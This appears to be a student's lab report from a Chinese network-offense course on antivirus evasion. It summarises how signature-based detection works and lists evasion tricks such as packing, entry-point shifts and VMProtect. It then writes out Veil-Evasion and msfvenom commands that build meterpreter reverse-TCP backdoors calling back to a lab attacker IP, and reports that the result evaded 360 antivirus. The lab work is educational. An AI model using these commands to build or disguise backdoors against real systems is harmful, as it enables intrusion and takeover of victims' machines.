20145217《网络对抗》 免杀原理与实践
知识点学习总结
一、杀毒原理
- 通常,一个病毒防御工作者拿到一个截获或上报上来的病毒时,先是分析这个病毒文件执行后的动作,所谓“动作”,就是指病毒文件执行后会做哪些操作。例如会生成什么新文件、怎样更改注册表、怎样注册服务、打开什么端口等等。
- 搞明白这些后,下一步一般会研究这个病毒的文件结构,然后找出与众不同的地方,将其定义为特征码。而这个特征码定义的高明与否,就要看他定义的位置是否刁钻。
- 当特征码定义出来之后,就会被提交到另外的一个部门,然后进入病毒定义库,当用户更新后,以后杀毒软件在碰到符合要求的文件时就会将其毫不忧郁的杀掉!也就是说,杀毒软件只认特征码,不认文件。
二、常见免杀方法
- 修改字符特征:主动查找可能的特征码,包括木马文件修改注册表、生成新文件的名称与路径、注入的进程名等动作,也包括运行过程中可能出现或一定会出现的字符等文件特征。然后找出这些字符,并将其修改。
- 修改输入表:查找此文件的输入表函数名(API Name),并将其移位。
- 打乱文件结构:利用跳转(JMP),打乱文件原有结构。
- 修改入口点:将文件的入口点加1。
- 修改特征码:用一些工具找出特征码并针对特征码做免杀处理。
- Vmprotect:使用Vmprotect加密区段。
文件加壳:可以用一些比较生僻的壳对木马文件进行保护。
实验过程概述
一、Veil-Evasion免杀平台
- Veil-Evasion安装方法:sudo apt-get install veil-evasion
启动veil-evasion后,根据menu的提示依次键入以下指令,最终会生成一个名称为veil5217.exe的可执行文件:
use python/meterpreter/rev_tcp //设置payload
set LHOST 192.168.150.132 //设置反弹连接IP set LPORT 443 //设置反弹端口443 generate //生成 veil5217 //程序名 1
过程中的部分截图:
(生成后的各种信息,以及不要告诉警察叔叔的程序员幽默)
(文件在system里面)
查杀结果:
二、C语言调用Shellcode
1.输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=443 -f c >c5217.c获得机器码。
- LHOST:攻击机IP
- LPORT:反弹连接端口
- c:生成一个c语言格式的Shellcode数组
-
c5217.c:储存到文件中
2.编译c文件
3.查杀结果
三、进一步改进c文件
1.windows下用编译器编写c文件,修改如下:
2.编译后查杀:
- 骗过了本机的360:
- virscan结果:
四、电脑实测
msf打开监听,将端口号修改为443,跟后门一致。windows运行后门成功获得权限。